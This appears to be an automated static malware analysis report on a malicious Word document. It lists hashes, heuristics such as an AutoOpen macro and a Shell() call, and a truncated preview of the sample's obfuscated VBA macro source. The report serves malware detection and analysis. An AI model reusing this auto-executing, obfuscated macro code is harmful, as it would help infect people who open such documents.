Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 346979b4a5ce9873…

MALICIOUS

Office (OLE)

117.0 KB Created: 2018-09-28 13:28:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 0ceb667bcf831d7f706d19aec84eb20e SHA-1: b8554ba8fa7b14676d12abea1d8743e7f446aff4 SHA-256: 346979b4a5ce987308f517c3c0456b95124116ec616f6eabbd3ae1db75dc1052
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. This is further supported by the VBA p-code auto-exec heuristic, which explicitly mentions Shell() execution within the AutoOpen macro. The macro itself is heavily obfuscated, but its presence and the Shell() call strongly suggest it's designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6700450-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6700450-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 61035 bytes
SHA-256: 38cd52e297e5eb566667ae9ac1edabdc58b4d19bf0ab5041bde84f2feda624bf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YlzUkLOBltvZR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim jCIGKQ(2)
jCIGKQ(0) = InStr(rpdlsU + VVVboOzkSiIjrDvFVfoJw + uZSOW, uOvhMr + KVrmdzlvzzPAMWHiTXi + RoldIBZD) + InStr(USRMqa + XOZzUEiiFMBjjUpwVdtat + VNuJREX, IXUTh + pTrikoXrBdZLjRkjUoBo + zZqXAVP) + InStrRev(EGBwz + XRPazYcUCjzalnfiPdzrfNz + hiVlCa, YifYwWh + SzRQbTrRQXakQDnMjzvz + GzZOS) + InStrRev(stvApI + iZkKtoVhHsRoWzzM + RzwJFi, zbuhBC + pbuSiGaXzaEYBkrNblAna + jjwBT)
jCIGKQ(1) = InStr(MJWSCp + YmHHlswizJpwYpnTJacWiL + rWdhB, NNjTMMm + DJZUnUiwQPRwQdvFMVPIAL + HAHMWbc) + InStr(mTYXni + ZTQzCXOhlinBYIbwaEtpTz + iHiYq, bsudEc + oqwiTNKiMjYjfizOkZzNnXi + hPXVhZ) + InStr(USpvTKDM + pvOwcKOIpdLHoOPoKrHbf + ETRPvAd, BBkmMHYT + JKAiYwXAAiUjUuqquciczP + ccCSnMJ) + InStrRev(DptTGc + HjSQrGNdUtbhBOMvwiuH + XCFzX, FwsiZNlV + KrPqpCaAuhivMOTEHkGht + JfGFaZJ)
   Dim kIciQ(1)
kIciQ(0) = InStr(jJsfmz + qRzToFSMhEBMzBEbNQijvp + QjPpdl, HkECA + PzMfMjVlhYvhBiOf + zraPK) + InStrRev(npCavtOl + NtILiEqpAZoUQRSG + BtNivf, SzwRUBmt + kWZUnTQOGicwuLAudj + qXCdQ)
   Dim CWpip(2)
CWpip(0) = InStrRev(GmVqVRiT + MPoNSwQLLwnRcAwdrv + zToFZ, MiFfrvj + YsRdmBStKKQlpwHotd + EazQim) + InStrRev(bOMFwdk + BUMOBUasYtovsGjVmlkiI + CZkJdNl, JfICGZXk + vfVFYdRhNQlEnSSnvfDF + AMJwNNzV) + InStrRev(DjTLfLj + cXbUkoYzRLraVRHkVzQ + HPljvHjz, XZZsZIp + DFocLoOEvjHoMUD + piLqwz) + InStrRev(YhcjCOMh + ZWHsfEUwRlfFFMVuziOa + WTAawuGt, VNwDHWz + NtcWibrnVILCIlTYP + lXbbNPS)
CWpip(1) = InStr(idIcvuw + uCTYYSawuVCbVviIHNmZztii + GNoBYUUK, JARVXRZC + tnpBKmdTiuknhhAC + YvFlGvQ) + InStr(UbaYvTY + mLqqiEYMiqjYzVsjPDrs + KSJPLTI, QpkhM + ukhLwbUlaboYoOFYmPw + hqPjQC)
   Dim QJKhzi(2)
QJKhzi(0) = InStrRev(tSaCfK + RQhADKWUtvHvTwcIjDl + Aknavjd, GJIbzj + qbGicaZKEDBzvDATWv + PaipJw) + InStrRev(vCvNK + XJOPqbaTLizYzNjBqIulP + DHzBi, JdJIji + GGifBVDiEvIHmcDfYTUZcJ + UDbLjD) + InStr(oHkKp + jzmMFXmKcCZjBWRGii + LEGknQNs, tocpzi + RRihiiIGOsjRDbHwmNVw + CczDLZ) + InStrRev(PMaKia + fKzzGFwZOpjEGwTcBREvpF + iPtzh, hLzjGw + iwjGKJQFKwaDaumDPj + IKmYkX)
QJKhzi(1) = InStr(fXSaw + JtSJhmivHwnpUswfbwXl + wzSDkAQ, dKwawiZO + okZsnIcSiClbloPsiGf + qiSpzBBi) + InStrRev(qwWFfu + watsCJNpJWsKJCEqOcR + kozdPj, zijHBwfJ + LrLHJjwDaESvhwZLWwFZZ + cuiDZhY)
   Dim rUwWk(1)
rUwWk(0) = InStrRev(iGNuQjp + SaMzWGkNwMiZBsmllj + jnKlZjc, wMEajbB + ZIlQrJFjYtDGCcJLULslN + NwNbRlA) + InStrRev(zpTwB + zErfrJubRpRYhnGwILI + DEvKJ, KoLujV + DBmUAwidbRfpFXzjcmOkRz + cMnrCqN) + InStrRev(ZoGLU + jsdXFRFimUGpWwRFRl + pcMPOB, HMrAZT + LphIQVDpFRKJlzdou + IDrON) + InStrRev(QuDQstbD + UWIZIkjdCFBvfljKRBHMFYL + BVhhYfUY, ATKlVrr + YiLjvZJzKDBzWWUYcPKM + jJGPmUN)
   Dim hidhzh(1)
hidhzh(0) = InStr(vuZzIkU + zzFNGCcpjPzvZAmLpjn + zbQTz, cDERmXba + EHzfkzYXIwJGaJaiWjcho + rEzCYLTO) + InStrRev(ZfOcrfb + TzdHMcNvrbZJspoVjmpr + APzCiEA, TwNwmZLP + AGQmZUqGQKdFLNNtrnb + ZquWBv)
KcdntUrAUBH (KeyString(XXzVOqj + dfRrVpBQ + 20 + 8 + 39 + pmwQjIP + kqnLbYGE) + jDiuB + KPViB + KeyString(dzuZHPNz + UDqTpTO + 23 + 9 + 45 + HjXKs + fzzMOj) + ziwiPvuGz + brZfl + HQucUA + PqlmHOiH + aCzYJwX)
   Dim Awtnz(2)
Awtnz(0) = InStrRev(lwMJIfa + jLMwsvzspTMUzKAiJlM + WzAWNzX, JcwvmK + wvHAWJCrziwjjfatvfj + nqSTVE) + InStrRev(YMoRljzp + DBsjpaFPLQJRMCjrjWF + XTuGfwaE, jraEA + ooMZPvOwUTzOIDMVfzBQ + MQjLP) + InStrRev(wViQNPI + rjdGGjhPWsiMOmMDivDhN + taiOoEwN, mdFcYw + PBmGvslCuWoCQqSzAi + wGVkwHa) + InStr(GozmMmip + zCrTPWLmGzwKbTnHmvipZh + fvDnKW, fHnFOnJn + KdWTZmEhqUNRmBDfSpZOmof + tzlrpc)
Awtnz(1) = InStrRev(wMWRjcf + SpAELHEjIlOtajorFd + PQGSfRjM, RWpLQ + imIUlWMhrzooArunEobmzv + SIDOT) + InStrRev(aqOViuul + kYFIabpcdDCALYuYacfh + BffGtK, LNXlwr + nrdvXpwkdAMErQjZvJU + zdpwBI) + InStrRev(rMpoD + LciWPrzNJjSlETIL + AFvbJwUP, nWhOSa + IIjbpUGjGIVfsKXmuF + hDsszj) + InStrRev(dUpCnO + apDOOHkvZZDvoEmwXwcnaf + ApqJtlH, BzHaQ + aGAXpQcFPATwBbcmuFPj + czLziYHn)
   Dim jNRPAO(1)
jNRPAO(0) = InStrRev(haqpr + XlliQ
... (truncated)

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